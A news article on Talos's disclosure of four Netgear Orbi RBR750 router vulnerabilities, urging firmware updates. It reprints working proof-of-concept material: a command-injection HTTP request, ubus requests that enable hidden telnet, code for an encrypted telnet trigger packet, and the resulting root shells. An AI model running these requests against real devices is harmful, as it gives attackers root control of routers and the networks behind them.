Netgear
If you rely on Netgear’s Orbi mesh wireless system to connect to the Internet, you’ll want to ensure it’s running the latest firmware now that exploit code has been released for critical vulnerabilities in older versions.
The Netgear Orbi mesh wireless system comprises a main hub router and one or more satellite routers that extend the network’s range. By setting up multiple access points in a home or office, they form a mesh system that ensures Wi-Fi coverage is available throughout.
Remotely injecting arbitrary commands
Last year, researchers on Cisco’s Talos security team discovered four vulnerabilities and privately reported them to Netgear. The most severe of the vulnerabilities, tracked as CVE-2022-37337, resides in the access control functionality of the RBR750. Hackers can exploit it to remotely execute commands by sending specially crafted HTTP requests to the device. The hacker must first connect to the device, either by knowing the SSID password or by accessing an unprotected SSID. The severity of the flaw is rated 9.1 out of a possible 10.
In January, Netgear released firmware updates that patched the vulnerability. Now, Talos published a proof-of-concept exploit code along with technical details.
“The access control functionality of the Orbi RBR750 allows a user to explicitly add devices (specified by MAC address and a hostname) to allow or block the specified device when attempting to access the network,” Talos researchers wrote. “However, the dev_name parameter is vulnerable to command injection.”
The exploit code released is:
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
The device will respond with the following:
[email protected]:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Two other vulnerabilities Talos discovered also received patches in January. CVE-2022-36429 is also a remote command execution flaw that can be exploited by sending a sequence of malicious packets that create a specially crafted JSON object. Its severity rating is 7.2.
The exploit begins by using the SHA256 sum of the password with the username ‘admin’ to return an authentication cookie required to start an undocumented telnet session:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
The ‘ubus_rpc_session’ token needed to start the hidden telnet service will then appear:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
The adversary then adds a parameter called ‘telnet_enable’ to start the telnet service:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
The same password used to generate the SHA256 hash with the username ‘admin’ will then allow an attacker to log into the service:
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
[email protected]:/#
The other patched vulnerability is CVE-2022-38458, with a severity rating of 6.5. It stems from the device prompting users to enter a password over an HTTP connection, which isn’t encrypted. An adversary on the same network can then sniff the password.
The vulnerability that refused to die
A fourth vulnerability Talos discovered, tracked as CVE-2022-38452, has not yet been patched. Talos released details about it anyway, in keeping with the policy of disclosing vulnerability information within 90 days of it being privately reported to the vendor. The flaw stems from hidden telnet functionality and allows adversaries to remotely execute commands.
Netgear developers previously introduced an update that removed a toggle switch in a hidden debug page that could be used to turn the telnet service on or off. The fix, unfortunately, was incomplete.
“While the switch in the GUI no longer functioned/was removed, enabling the service was still possible by sending a specially-crafted trigger packet to UDP port 23 (https://github.com/bkerler/netgear_telnet),m” Talos explained. While recent updates have seemingly broken this tool (and the many tools like it), the service does still exist and is still triggerable.”
def crypt_64bit_up(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0, 0x10):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[-2]
y = y ^ pArray[-1]
return (x, y)
def crypt_64bit_down(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0x11, 1, -1):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[1]
y = y ^ pArray[0]
return (x, y)
An adversary who has the username, password, and MAC address of the vulnerable device’s br-lan interface can go on to start telnet:
$ ./enable_telnet_poc.py
Plaintext payload:
00000000: 43 38 39 45 34 33 34 44 45 38 37 38 00 00 00 00 C89E434DE878....
00000010: 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 admin...........
00000020: 50 61 73 73 77 30 72 64 00 00 00 00 00 00 00 00 Passw0rd........
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Encrypted payload:
00000000: D0 9C 30 F6 7D 98 82 EE 8F 14 65 9F B9 03 3C 8D ..0.}.....e...<.
00000010: D0 56 6C C4 13 EB 29 43 84 4B BB F5 B1 B0 C5 32 .Vl...)C.K.....2
00000020: 63 CF 65 A2 BA 4F 87 8F 7C 82 89 28 32 95 7C 64 c.e..O..|..(2.|d
00000030: 53 20 20 62 E2 F9 4B 3D 7C 82 89 28 32 95 7C 64 S b..K=|..(2.|d
00000040: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000050: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000060: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000070: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
$ telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
=== LOGIN ===============================
Please enter your account and password,
It's the same with DUT GUI
------------------------------------------
telnet account: admin
telnet password:
BusyBox v1.30.1 () built-in shell (ash)
.oooooo. .o8 o8o .o. ooooooo ooooo
d8P' `Y8b "888 `"' .888. `8888 d8'
888 888 oooo d8b 888oooo. oooo .8"888. Y888..8P
888 888 `888""8P d88' `88b `888 .8' `888. `8888'
888 888 888 888 888 888 .88ooo8888. .8PY888.
`88b d88' 888 888 888 888 .8' `888. d8' `888b
`Y8bood8P' d888b `Y8bod8P' o888o o88o o8888o o888o o88888o
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, 10.0.3440.3644)
---------------------------------------------------------------
[email protected]:/#
As noted earlier three of the four vulnerabilities were patched in January. The Orbi Router Model RBR750 user manual say that users can check for available updates and install them by putting orbilogin.com, entering the administrative credentials, and selecting ADVANCED > Administration > Firmware Update > Online Update.
While CVE-2022-38452 has yet to be patched, the other three flaws have been fixed. Users of these devices should ensure they are running firmware version 4.6.14.3, which is the latest release at the moment.
